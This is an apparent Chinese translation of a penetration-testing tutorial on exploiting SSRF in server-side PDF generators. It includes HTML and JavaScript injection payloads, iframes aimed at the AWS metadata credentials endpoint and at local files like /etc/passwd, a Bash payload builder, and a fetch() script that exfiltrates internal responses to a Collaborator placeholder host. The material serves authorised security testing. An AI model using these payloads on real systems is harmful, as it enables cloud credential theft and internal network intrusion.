Featured image of post 深入挖掘PDF生成器中的SSRF漏洞

深入挖掘PDF生成器中的SSRF漏洞

本文详细介绍了如何在PDF生成器中寻找和利用服务器端请求伪造(SSRF)漏洞,包括HTML注入、远程服务器访问、JavaScript执行等技术细节,并提供了实际攻击场景和解决方案。

在PDF生成器中寻找SSRF漏洞

如果您曾在网站上看到以下功能之一,那么您很可能遇到了服务器端请求伪造(SSRF)漏洞的热点:

  • 打印完成证书
  • 生成报告
  • 提交数字签名

在深入探讨如何发现和利用PDF生成器中的SSRF漏洞之前,让我们先进行一个快速的思想实验。我想给您一个简单的心理快照,展示在Web应用程序中生成PDF时发生了什么。

想象您将一个非常基本的网页保存为桌面上的HTML文件,并命名为ssrf.html。该网页使用JavaScript获取图像并将其添加到网页中。它看起来像这样。

然后,想象打开该HTML文件,并使用Web浏览器的打印功能将其保存为PDF。

浏览器解析HTML、执行JavaScript并请求远程图像文件以生成PDF。正如您可以想象的,如果攻击者能够影响生成PDF的HTML,可能会带来一些严重的后果。以下是您可以通过SSRF漏洞攻击的一些内容:

  • IMDS:如果服务器托管在云中(例如AWS、Azure或GCP),您很可能能够与其实例元数据服务(IMDS)交互。如果运气好且启用了AWS IMDSv1,您可能能够从IAM端点泄漏AWS临时安全凭据,或从用户数据端点泄漏明文凭据。
  • PDF生成器:PDF生成组件本身可能易受攻击。
  • 主机/服务发现:您几乎肯定能够与服务器上运行的其他服务或不可公开访问的系统交互。

从哪里开始?

查看PDF并注意其中您提供给应用程序的任何数据,例如姓名、地址、数字签名等。这些是值得调查的参数。在调查过程中,您需要回答以下几个问题:

  • 我可以注入HTML吗?
  • 我可以访问远程服务器吗?
  • 我可以执行JavaScript吗?
  • 渲染PDF的服务器是否托管在云中?
  • 生成PDF的组件是否存在已知漏洞?
  • 我可以与其他哪些服务或系统交互?
  • 我是否给了足够的时间?

最后一个问题实际上是一个故事,突出了我在寻找难以捉摸的SSRF漏洞时遇到的挑战和解决方案。如果您发现自己处于类似情况,这个教训可能会很有用。

测试潜在来源

在测试潜在来源时,您要么会在生成的PDF中获得视觉提示,要么会收到像Burp Collaborator这样的带外服务器的回调,或者两者兼而有之。

如果您曾经利用过跨站脚本(XSS)漏洞,前几个问题应该很熟悉。利用PDF生成器中的SSRF漏洞非常类似于利用XSS漏洞。最大的区别是您没有直接面对DOM,因为所有操作都在服务器上进行。但思维方式非常相似。

我可以注入HTML吗?

您的有效载荷可能在服务器上落在以下三种上下文之一:

  1. 在HTML标签之间
  2. 用撇号包裹,位于HTML实体属性内
  3. 用引号包裹,位于HTML实体属性内

如前所述,您可能看不到您注入的内容,因此您需要进行一些调查以确定您的有效载荷落在哪种上下文中。以下代码块中显示了有效载荷(高亮显示)。如果给定的有效载荷呈现,那么您就知道您的有效载荷落在哪种上下文中。

关于最后两种上下文,您的有效载荷落在HTML实体属性内。如果您有Burp的专业许可证,自动扫描发现的“外部HTTP交互”很可能表明是最后两种上下文。如果您没有专业许可证,请尝试将图像的URL粘贴到有效载荷位置。如果图像出现在PDF中,这也是一个很好的迹象,表明您的有效载荷落在最后两种上下文之一。

在HTML标签之间

您的有效载荷可能落在几个HTML标签之间。在这种情况下,尝试注入一个或两个HTML元素。使用两个元素很方便,因为如果HTML被渲染,您将在PDF中获得视觉提示,表明您的HTML已被渲染。

1
2
3
4
<body>
<h1>Congratulations!</h1>
<h1>Big Header</h1><h5>Small Header</h5>
</body>

用撇号包裹,位于HTML实体属性内

1
2
3
4
<body>
<h1>Congratulations!</h1>
<img src=''/><h1>Big Apostrophe</h1><h5>Little Apostrophe</h5>'></img>
</body>

用引号包裹,位于HTML实体属性内

1
2
3
4
<body>
<h1>Congratulations!</h1>
<img src=""/><h1>Big Quotation Mark</h1><h5>Little Quotation Mark</h5>"></img>
</body>

陷阱!Atari 2600,1982年。

警告:在检查最后一个上下文(引号)时,请注意您的请求类型。JSON是一种非常常见的请求格式。不要忘记转义引号!

弄清楚您的有效载荷落在哪种上下文中很重要,因为如果存在语法错误,您可能会看到错误消息,或者可能根本看不到任何内容。

我可以访问远程服务器吗?

如前所述,尝试将URL粘贴到您正在调查的有效载荷位置。如果它获取远程资源或与您的Burp Collaborator交互,那么您就知道您正在测试的服务器可以访问远程服务器。

如果您确定您的有效载荷落在两个HTML标签之间,请尝试类似以下的内容:

1
2
3
4
<body>
<h1>Congratulations!</h1>
<img src="{{URL_IMAGE_OR_BURP_COLLABORATOR}}"></img>
</body>

我还想强调一个您可能没想到会易受SSRF攻击的功能。数字签名是SSRF的一个意想不到的地方,但请留意包含类似以下内容的请求:

1
data:image/png;base64,{{BASE64_ENCODED_BLOB}}

这是数据URL的开头,这是一种应用程序可以内联嵌入图像的方式,而不是从远程服务器获取它们。以下是易受攻击的服务器可能期望的内容:

1
2
3
4
<body>
<h1>Proof that you Signed Your Life Away</h1>
<img src="data:image/png;base64,{{BASE64_ENCODED_DIGITAL_SIGNATURE}}"></img>
</body>

由于数据URL只是图像元素的来源,尝试将数据URL替换为指向远程资源的URL。

我可以执行JavaScript吗?

此时,您已经弄清楚您的有效载荷落在哪里,并验证了服务器可以拉取远程资源。接下来,您可以检查JavaScript执行。我的首选方法是使用类似以下的内容。

1
2
3
4
<body>
<h1>Proof that you Signed Your Life Away</h1>
<img src=""><body id="body">	<script>jsImg = new Image();jsImg.src="https://www.blackhillsinfosec.com/wp-content/uploads/2016/03/BHIS-logo-L.png";document.getElementById("body").appendChild(jsImg);</script></body>"></img>
</body>

如果您在渲染的PDF中看到BHIS徽标,那么您就知道JavaScript已执行。

现在,要记住一点。与测试XSS时一样,注入<script>标签有可能被应用程序拒绝。您可能需要使用另一种技术(如通过事件处理程序)注入JavaScript。以下有效载荷不会在PDF中渲染图像,但如果您在Burp Collaborator中看到回调,它将证明JavaScript执行。请确保更新URL为您可以监控回调的域名。

1
2
3
4
<body>
<h1>Proof that you Signed Your Life Away</h1>
<img src=""><img src="a" onerror='var jsImg = new Image; jsImg.src="https://{{YOUR_BURP_COLLAB_URL_HERE}}";'></img>"></img>
</body>

渲染PDF的服务器是否托管在云中?

展示SSRF影响的经典攻击是从实例元数据服务(IMDS)泄漏AWS IAM临时安全凭据。具体来说,您需要确定服务器是否托管在AWS中并配置为支持IMDS版本1。在这种情况下,您很可能能够将临时安全凭据泄漏到PDF中。您需要至少发起两个请求来泄漏AWS访问密钥。第一个请求是泄漏IAM角色名称。使用iframe元素在PDF中查看响应。

1
2
3
4
5
<body>
<h1>Proof that you Signed Your Life Away</h1>
<img src=""><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials></iframe>
"></img>
</body>

第二个请求是泄漏安全凭据。从PDF中复制IAM角色名称,并将其添加到以下代码片段中。

1
2
3
4
5
<body>
<h1>Proof that you Signed Your Life Away</h1>
<img src=""><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/{{SECURITY_ROLE_ID}}></iframe>
"></img>
</body>

如果您在PDF中看到类似于以下内容,那么您泄漏了一个AWS访问密钥,可能用于在AWS账户中转向其他资源。

除了AWS访问密钥,请查看用户数据IMDS端点中是否有任何敏感数据。BHIS经常在用户数据端点找到包含明文凭据和秘密的脚本。有关如何掠夺AWS IMDS的更多想法,请参见以下内容。

生成PDF的组件是否存在已知漏洞?

最近,我找到了一个SSRF漏洞,其中PDF是由无头Chrome渲染的。在调查过程中,我发现应用程序通过无头Chrome生成PDF并不罕见。User-Agent请求头也包含了Chrome版本号,这给了我提示。令我沮丧的是,它已完全修补。但如果您幸运的话,您可能会遇到一个未修补的版本,可能被利用进行远程代码执行或从服务器泄漏文件。

检查组件名称和版本的另一个地方是PDF本身的元数据中。

这个例子并不脆弱,但值得您花时间快速进行Web搜索,以查找您正在测试的组件中的漏洞。

我可以与其他哪些服务或系统交互?

这个问题非常开放,取决于上下文,但以下是一些值得思考的事情:

  • 您在侦察过程中是否遇到过任何无法解析的主机名?
  • 应用程序中是否发现任何私有IP地址?
  • 您是否遇到过任何暗示容器技术可能正在使用的线索?
  • 您是否在进行多部分评估,其中另一位测试人员从内部进行黑客攻击?

为了展示更大的影响,也许您可以协作展示如何利用SSRF从外部利用内部网络上的漏洞。

逐个检查这些内容会非常繁琐。幸运的是,PDF生成器中的SSRF漏洞通常允许我们使用一堆iframe通过单个请求检查许多系统。这种方法的主要警告是,您可能不会在PDF文档中看到响应,具体取决于目标系统上启用的框架保护。

要发送一堆iframe,我喜欢从常见的SSRF目标和主机名列表开始。以下是一个示例起始列表。查看PayloadAllTheThings以生成更全面的列表。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
http://169.254.169.254/latest/
http://169.254.169.254.xip.io/
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
http://localhost:80
http://localhost:443
http://localhost:22
file:///etc/passwd
file://Windows/win.ini

接下来,我将使用以下Bash函数将每个SSRF目标包装在iframe内。为了保持组织有序,我还包括一个标题元素。标题元素将出现在PDF中,以便您可以看到哪个有效载荷产生了响应。如果您使用此脚本,请记住根据您的有效载荷落在哪里调整CRADLE_OPEN和CRADLE_CLOSE变量。如果您的有效载荷落在HTML标签之间,以下脚本将是合适的。

1
2
3
4
5
6
7
8
9
HDR_OPEN='<h1>'
HDR_CLOSE='</h1>'

CRADLE_OPEN="<iframe src='"
CRADLE_CLOSE="' width='1000' height='1000'></iframe>"

make_payload () {
        printf $HDR_OPEN$1$HDR_CLOSE$CRADLE_OPEN$1$CRADLE_CLOSE
}

最后,循环遍历SSRF有效载荷文件以生成一个“超级”有效载荷,您可以将其复制到HTTP请求中。

1
for target in `cat SSRF_targets.lst`; do make_payload $target; done

以下是最终有效载荷在请求中可能的样子。

以下是使用此技术在一次评估期间生成的PDF示例。

我是否给了足够的时间?

在最近的一次评估中,我在一个AWS服务器上找到了一个SSRF漏洞,几乎未能泄漏AWS临时安全凭据。在初步调查期间,我发送了一个“超级”有效载荷,并在我的PDF中看到了http://169.254.169.254/latest/端点的响应。但是,当我尝试单独访问http://169.254.169.254/latest/meta-data/iam/security-credentials端点,而不是“超级”有效载荷的其余部分时,我的PDF是空的。

我的第一个故障排除步骤是查看我是否至少可以查看父目录。那没有奏效,所以我发送了原始的IMDS端点http://169.254.169.254/latest/,因为我有访问它的证据。当我尝试单独查看原始IMDS端点时,我的PDF仍然是空的。

这毫无意义,所以我认为客户可能已经修补了它。但为了确定,我回去发送了原始的“超级”有效载荷。“超级”有效载荷仍然从IMDS返回响应。我思考了为什么发送“超级”有效载荷时可以看到响应,而单独发送IMDS端点的有效载荷时却看不到。我认为由于“超级”有效载荷框架了许多站点,渲染需要更长时间。也许额外的渲染时间允许在生成PDF之前从IMDS获取响应。我尝试使用JavaScript的setTimeout()函数延迟执行,使用两到30秒之间的各种延迟。通过JavaScript延迟对服务器的响应时间没有影响,PDF仍然是空的。也许延迟的方式有所不同。我修改了原始的“超级”有效载荷,包括十个指向http://169.254.169.254/latest/meta-data/iam/security-credentials端点的iframe,它奏效了。我可以在PDF的所有十页上看到AWS IAM角色名称,因此我修改了请求以检索该角色的临时安全凭据。

在测试与其他系统的交互时,我使用JavaScript的fetch() API发起请求,并将响应(在CORS策略允许的情况下)发送到我的Burp Collaborator服务器。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
async function requestToTarget() {
  let response = await fetch("/{{ENDPOINT_ON_TARGET}}");
  let dataFromTarget = await response.json();
  return dataFromTarget;
}

async function uploadToCollaborator() {
  let dataToExfiltrate = await requestToTarget();
  fetch(
    "https://{{COLLABORATOR_DOMAIN}} ", {
      method: "POST",
      body: JSON.stringify(dataToExfiltrate)
     }
   )
}

uploadToCollaborator()

使用十个iframe时,我没有看到与Burp Collaborator的任何交互。在增加到100个iframe后,我开始看到与Burp Collaborator的交互。我得出结论,这一定延迟了PDF生成器足够长的时间来执行JavaScript并将响应发送到Collaborator。

我不知道为什么使用大量iframe引起延迟奏效,而JavaScript却没有。仅分享以防您遇到这种情况。也许使用其他元素(如图像)也可以实现相同的效果。如果您知道原因或有替代解决方案,请告诉我!

结束语

在寻找和利用PDF生成器中的SSRF漏洞时,有效载荷和触发器很可能会异步发送。我第一次找到SSRF漏洞时,易受攻击的参数在一个请求中发送,但SSRF的触发器是两个请求之后,并且并不立即明显哪个请求触发了SSRF漏洞。希望您相信,值得付出额外的努力来寻找那个难以捉摸的SSRF漏洞——祝您狩猎愉快!

有用的资源

参考文献

  1. https://portswigger.net/burp/documentation/collaborator
  2. https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs
  3. 本文撰写时,BHIS徽标的链接是有效的。对于此技术,请确保您使用存在图像的URL。
  4. https://blog.checkpoint.com/security/aws-instance-metadata-service-imds-best-practices/
  5. https://developer.chrome.com/blog/headless-chrome
  6. https://blog.grio.com/2020/08/understanding-pdf-generation-with-headless-chrome.html
  7. https://portswigger.net/daily-swig/severe-chrome-bug-allowed-rce-on-devices-running-remote-headless-interface
  8. https://github.com/xcanwin/CVE-2023-4357-Chrome-XXE
  9. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors
  10. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
  11. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
  12. https://developer.mozilla.org/en-US/docs/Web/API/setTimeout
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计